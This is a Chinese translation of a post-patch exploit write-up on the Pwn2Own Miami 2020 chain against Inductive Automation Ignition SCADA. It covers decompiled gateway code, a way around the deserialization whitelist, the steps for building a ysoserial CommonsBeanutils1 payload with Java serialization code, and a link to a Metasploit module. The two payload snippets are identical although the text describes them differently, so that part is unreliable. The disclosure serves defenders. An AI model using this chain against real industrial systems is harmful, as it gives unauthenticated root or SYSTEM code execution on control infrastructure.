Pwn2own Miami:通过漏洞利用链实现对Ignition工控系统的代码执行
2020年1月,在S4会议上举行了首届Pwn2Own Miami比赛,目标是工业控制系统(ICS)产品。在比赛中,佩德罗·里贝罗(Pedro Ribeiro)和拉德克·多曼斯基(Radek Domanski)的团队使用了信息泄漏和反序列化漏洞,以在Inductive Automation Ignition 系统上执行代码。他们在比赛第一天赢得了25,000美元。现在可以从供应商处获得补丁程序,他们已经分享了以下漏洞利用代码和演示视频。
这篇文章描述了Pedro Ribeiro(@ pedrib1337)和Radek Domanski(@RabbitPro)发现的一系列Java漏洞。这些漏洞已在一月份在ZDI的Pwn2Own Miami 2020比赛中使用。所描述的漏洞存在于8.0.0版(含8.0.7)及更高版本的Inductive Automation Ignition SCADA产品中。该漏洞最近由供应商发布了补丁,该供应商建议用户升级到8.0.10版本。以下是这些漏洞的验证视频:
https://youtu.be/CuOancRm1fg
Automation Ignition 的默认配置可供未经身份验证的攻击者利用,成功的利用将实现Windows上的SYSTEM或Linux上的root的远程代码执行。
该漏洞利用链上的三个漏洞来实现代码执行:
1.未经授权访问敏感资源。2.不安全的Java反序列化。3.使用不安全的Java库。
该博客中的所有代码段都是通过反编译8.0.7版中的JAR文件获得的。
0x01 漏洞详情
在深入研究漏洞之前,让我们介绍一下有关Automation Ignition 和/system/gateway端点的背景信息。Automation Ignition 侦听大量的TCP和UDP端口,因为除了其主要功能外,它还必须处理多种SCADA协议。
主要端口是TCP 8088和TCP / TLS 8043,它们用于通过HTTP(S)控制管理服务器并处理各种Ignition组件之间的通信。
有多个API端点正在侦听该端口,但我们关注的是在/system/gateway。该API端点允许用户执行远程功能调用。未经身份验证的用户只能调用少数几个。该Login.designer()函数是其中之一。它使用包含序列化Java对象的XML与客户端进行通信。它的代码位于com.inductiveautomation.ignition.gateway.servlets.Gateway类中。
通常,使用序列化的Java对象执行客户端-服务器通信可以导致直接执行代码,但是在这种情况下,并不是那么简单。在深入探讨之前,让我们看一下Login.designer()请求的数据信息:
响应包:
请求和响应包含序列化的Java对象,这些对象传递给可以远程调用的函数。上面的示例显示了对带有四个参数designer()的com.inductiveautomation.ignition.gateway.servlets.gateway.functions.Login类的函数的调用。
调用堆栈Login.designer()如下:
com.inductiveautomation.ignition.gateway.servlets.Gateway.doPost()`
`com.inductiveautomation.ignition.gateway.servlets.gateway.AbstractGatewayFunction.invoke()`
`com.inductiveautomation.ignition.gateway.servlets.gateway.functions.Login.designer()
该Gateway.doPost()服务程序执行一些版本和完整性检查然后将请求发送到AbstractGatewayFunction.invoke(),其分析和验证它之前调用Login.designer(),如下图所示:
public final void invoke(GatewayContext context, PrintWriter out, ClientReqSession session, String projectName, Message msg) {
String funcName = msg.getArg("subFunction")
AbstractGatewayFunction.SubFunction function = null
if (TypeUtilities.isNullOrEmpty(funcName)) {
function = this.defaultFunction
} else {
function = (AbstractGatewayFunction.SubFunction)this.functions.get(funcName)
}
if (function == null) {
Gateway.printError(out, 500, "Unable to locate function "" + this.getFunctionName(funcName) + """, (Throwable)null)
} else if (function.reflectionErrorMessage != null) {
Gateway.printError(out, 500, "Error loading function "" + this.getFunctionName(funcName) + """, (Throwable)null)
} else {
Set classWhitelist = null
int i
Class argType
if (!this.isSessionRequired()) {
classWhitelist = Sets.newHashSet(SaferObjectInputStream.DEFAULT_WHITELIST)
Class[] var9 = function.params
int var10 = var9.length
for(i = 0 i < var10 ++i) {
argType = var9[i]
classWhitelist.add(argType)
}
if (function.retType != null) {
classWhitelist.add(function.retType)
}
}
List argList = msg.getIndexedArg("arg")
Object[] args
if (argList != null && argList.size() != 0) {
args = new Object[argList.size()]
for(i = 0 i < argList.size() ++i) {
if (argList.get(i) == null) {
args[i] = null
} else {
try {
args[i] = Base64.decodeToObjectFragile((String)argList.get(i), classWhitelist)
} catch (ClassNotFoundException | IOException var15) {
ClassNotFoundException cnfe = null
if (var15.getCause() instanceof ClassNotFoundException) {
cnfe = (ClassNotFoundException)var15.getCause()
} else if (var15 instanceof ClassNotFoundException) {
cnfe = (ClassNotFoundException)var15
}
if (cnfe != null) {
Gateway.printError(out, 500, this.getFunctionName(funcName) + ": Argument class not valid.", cnfe)
} else {
Gateway.printError(out, 500, "Unable to read argument", var15)
}
return
}
}
}
} else {
args = new Object[0]
}
if (args.length != function.params.length) {
String var10002 = this.getFunctionName(funcName)
Gateway.printError(out, 202, "Function "" + var10002 + "" requires " + function.params.length + " arguments, got " + args.length, (Throwable)null)
} else {
for(i = 0 i < args.length ++i) {
argType = function.params[i]
if (args[i] != null) {
try {
args[i] = TypeUtilities.coerce(args[i], argType)
} catch (ClassCastException var14) {
Gateway.printError(out, 202, "Function "" + this.getFunctionName(funcName) + "" argument " + (i + 1) + " could not be coerced to a " + argType.getSimpleName(), var14)
return
}
}
}
try {
Object[] fullArgs = new Object[args.length + 3]
fullArgs[0] = context
fullArgs[1] = session
fullArgs[2] = projectName
System.arraycopy(args, 0, fullArgs, 3, args.length)
if (function.isAsync) {
String uid = context.getProgressManager().runAsyncTask(session.getId(), new MethodInvokeRunnable(this, function.method, fullArgs))
Gateway.printAsyncCallResponse(out, uid)
return
}
Object obj = function.method.invoke(this, fullArgs)
if (obj instanceof Dataset) {
Gateway.datasetToXML(out, (Dataset)obj)
out.println("0")
} else {
Serializable retVal = (Serializable)obj
Gateway.printSerializedResponse(out, retVal)
}
} catch (Throwable var16) {
Throwable ex = var16
Throwable cause = var16.getCause()
if (var16 instanceof InvocationTargetException && cause != null) {
ex = cause
}
int errNo = 500
if (ex instanceof GatewayFunctionException) {
errNo = ((GatewayFunctionException)ex).getErrorCode()
}
LoggerFactory.getLogger("gateway.clientrpc.functions").debug("Function invocation exception.", ex)
Gateway.printError(out, errNo, ex.getMessage() == null ? "Error executing gateway function." : ex.getMessage(), ex)
}
}
}
}
此函数执行以下操作:
1-解析收到的消息。2-标识要调用的函数。3-检查函数参数以确定是否可以安全地反序列化。4-确保参数数量与目标函数的预期数量相对应。5-调用带有反序列化参数的函数。6-将响应发送回客户端。
在反序列化之前,请检查参数以确保它们包含“安全”对象。这是通过decodeToObjectFragile()从调用com.inductiveautomation.ignition.common.Base64来完成的。此函数有两个参数:带有Base64编码对象的String和可以反序列化的允许的类列表。
public static Object decodeToObjectFragile(String encodedObject, Set classWhitelist) throws ClassNotFoundException, IOException {
byte[] objBytes = decode(encodedObject, 2)
ByteArrayInputStream bais = null
ObjectInputStream ois = null
Object obj = null
try {
bais = new ByteArrayInputStream(objBytes)
if (classWhitelist != null) {
ois = new SaferObjectInputStream(bais, classWhitelist)
} else {
ois = new ObjectInputStream(bais)
}
obj = ((ObjectInputStream)ois).readObject()
} finally {
try {
bais.close()
} catch (Exception var15) {
}
try {
((ObjectInputStream)ois).close()
} catch (Exception var14) {
}
}
return obj
}
如上所示,如果decodeToObjectFragile()接收null而不是允许的类列表,它将使用 ObjectInputStream来反序列化对象,并带来所有的问题和不安全性。但是,如果指定了允许列表,则decodeToObjectFragile使用SaferObjectInputStream该类反序列化对象。
SaferObjectInputStream类是一个包装ObjectInputStream被反序列的类的每个对象。如果该类不是允许列表的一部分,则它会拒绝所有输入并在发生任何有害影响之前终止处理。如下所示:
public class SaferObjectInputStream extends ObjectInputStream {
public static final Set DEFAULT_WHITELIST = ImmutableSet.of(String.class, Byte.class, Short.class, Integer.class, Long.class, Number.class, new Class[]{Float.class, Double.class, Boolean.class, Date.class, Color.class, ArrayList.class, HashMap.class, Enum.class})
private final Set whitelist
public SaferObjectInputStream(InputStream in) throws IOException {
this(in, DEFAULT_WHITELIST)
}
public SaferObjectInputStream(InputStream in, Set whitelist) throws IOException {
super(in)
this.whitelist = new HashSet()
Iterator var3 = whitelist.iterator()
while(var3.hasNext()) {
Class c = (Class)var3.next()
this.whitelist.add(c.getName())
}
}
protected ObjectStreamClass readClassDescriptor() throws IOException, ClassNotFoundException {
ObjectStreamClass ret = super.readClassDescriptor()
if (!this.whitelist.contains(ret.getName())) {
throw new ClassNotFoundException(String.format("Unexpected class %s encountered on input stream.", ret.getName()))
} else {
return ret
}
}
}
从上面的代码段可以看出,默认的允许列表(DEFAULT_WHITELIST)非常严格。它仅允许反序列化以下对象类型:
-- String
-- Byte
-- Short
-- Integer
-- Long
-- Number
-- Float
-- Double
-- Boolean
-- Date
-- Color
-- ArrayList
-- HashMap
-- Enum
由于这些都是非常简单的类型,因此这里描述的机制是阻止大多数Java反序列化攻击的有效方法。
不能解释Java反序列化,其发生的方式以及可能造成的破坏性。如果你有兴趣阅读更多有关它的内容,请查看Java Unmarshaller Security或此Foxglove Security文章。现在,让我们进入在Pwn2Own使用的漏洞利用链。
https://github.com/mbechler/marshalsec
https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/
漏洞1:未经授权访问敏感资源
该链中的第一个漏洞是信息泄漏,但未在我们的利用中使用。未经身份验证的攻击者可以调用“project diff”函数来获取有关project的关键信息。在我们的案例中,我们将其用作攻击其他函数的跳板。
com.inductiveautomation.ignition.gateway.servlets.gateway.functions.ProjectDownload类包含许多是通过未经身份验证的远程攻击者可访问操作。其中之一是getDiffs(),如下所示:
@GatewayFunction
public String getDiffs(GatewayContext context, HttpSession session, String sessionProject, String projectSnapshotsBase64) throws GatewayFunctionException {
try {
List snapshots = (List)Base64.decodeToObjectFragile(projectSnapshotsBase64)
RuntimeProject p = ((RuntimeProject)context.getProjectManager().getProject(sessionProject).orElseThrow(() -> new ProjectNotFoundException(sessionProject))).validateOrThrow()
List diffs = context.getProjectManager().pull(snapshots)
return (diffs == null) ? null : Base64.encodeObject(Lists.newArrayList(diffs))
} catch (Exception e) {
throw new GatewayFunctionException(500, "Unable to load project diff.", e)
}
}
如上所示,此函数将提供的数据与服务器中的项目数据进行比较,并返回差异。如果攻击者提供了有效的project名称,则可能会诱骗服务器移交所有project数据。
同样,此函数未在漏洞利用程序中使用。而是将此函数用作进一步攻击系统的跳板,下面将对此进行进一步说明。
漏洞2:不安全的Java反序列化
从代码片段6中可以看出,ProjectDownload.getDiffs()使用Base64.decodeToObjectFragile()函数来解码project数据。片段4中已经解释了此函数。如上所述,如果该函数的第二个参数中没有提供类允许列表,则它将使用标准的不安全ObjectInputStream类来解码给定对象。这导致了一个经典的Java反序列化漏洞,当与最终漏洞链接时,最终会导致远程执行代码。
漏洞3:使用不安全的Java库
该链中的最后一个链接是将Java类与易受攻击的Java gadget对象一起滥用,这些对象可用于实现远程代码执行。对我们来说幸运的是,Automation Ignition 就是这样。它使用了非常老的Apache Commons Beanutils版本1.9.2,该版本来自2013。
在著名的ysererial Java反序列化开发工具,此库有一个payload。
https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsBeanutils1.java
0x02 漏洞利用开发
总而言之,要实现远程代码执行,我们需要执行以下操作:
1-创建一个ysoserial CommonsBeanutils1 payload。2-Base64编码payload。3-将payload封装在Java String对象中。4-使用标准Java序列化功能序列化String对象。5-Base64编码序列化的String对象。6-发送请求getDiffs()以调用/system/gateway恶意参数。
我们能够绕过序列化白名单并执行我们的代码!但是如何绕过?让我们深入研究。
我们的payload将具有以下格式:
base64(String(base64(YSOSERIAL_PAYLOAD))
片段3中显示的代码将对其执行Base64解码,这将导致:
String(base64(YSOSERIAL_PAYLOAD))
这是根据上一节中显示的白名单进行检查的,因为它是String类,所以可以反序列化。然后我们进入ProjectDownload.getDiffs()。它使用我们的String参数,Base64.decodeToObjectFragile()在不指定白名单的情况下对其进行调用。
如代码片段4所示,这将使Base64解码String,然后ObjectInputStream.readObject()在我们的恶意对象(YSOSERIAL_PAYLOAD)上调用,从而导致代码执行!
生成 payload
要创建payload,我们首先调用ysoserial,如下所示:
public static void main(String[] args) {
try {
String payload = ""
ByteArrayOutputStream bos = new ByteArrayOutputStream()
ObjectOutputStream objectOutputStream = new ObjectOutputStream(bos)
objectOutputStream.writeObject(payload)
objectOutputStream.close()
byte[] encodedBytes = Base64.getEncoder().encode(bos.toByteArray())
FileOutputStream fos = new FileOutputStream("/tmp/output")
fos.write(encodedBytes)
fos.close()
bos.close()
} catch (Exception e) {
e.printStackTrace()
}
}
然后,可以使用以下Java代码将payload封装在String中并将其序列化到磁盘:
public static void main(String[] args) {
try {
String payload = ""
ByteArrayOutputStream bos = new ByteArrayOutputStream()
ObjectOutputStream objectOutputStream = new ObjectOutputStream(bos)
objectOutputStream.writeObject(payload)
objectOutputStream.close()
byte[] encodedBytes = Base64.getEncoder().encode(bos.toByteArray())
FileOutputStream fos = new FileOutputStream("/tmp/output")
fos.write(encodedBytes)
fos.close()
bos.close()
} catch (Exception e) {
e.printStackTrace()
}
}
在此代码中,< YSOSERIAL_BASE64_PAYLOAD >应包含Snippet 7的输出。
最后,我们将以下请求发送到目标:
该< PAYLOAD >会包含运行的输出片段8。目标将响应:
响应包含一个堆栈跟踪,指示出了问题,但是palaod已作为SYSTEM(或Linux的根)执行。
使用Snippet 7中提供的payload后,文件C:flashback.txt中将显示文本nt authoritysystem。这表明我们已经实现了未经身份验证的远程代码执行。
0x03 分析总结
我们希望你喜欢我们在Pwn2Own Miami使用的漏洞利用。厂商在8.0.10版本中修复了这些漏洞。此版本包含许多其他修复程序以及新功能。如果你想测试自己的系统,为方便起见,我们发布了Metasploit模块。你可以在上面的视频中看到它的测试情况.
https://raw.githubusercontent.com/thezdi/PoC/master/ZDI-20-685/ignition_automation_rce.rb
参考及来源:https://www.zerodayinitiative.com/blog/2020/6/10/a-trio-of-bugs-used-to-exploit-inductive-automation-at-pwn2own-miami
声明:转载此文是出于传递更多信息之目的。若有来源标注错误或侵犯了您的合法权益,请作者持权属证明与本网联系,我们将及时更正、删除,谢谢。 邮箱地址:[email protected]